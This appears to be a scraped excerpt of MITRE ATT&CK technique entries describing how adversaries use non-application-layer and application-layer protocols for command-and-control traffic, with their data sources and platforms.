Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre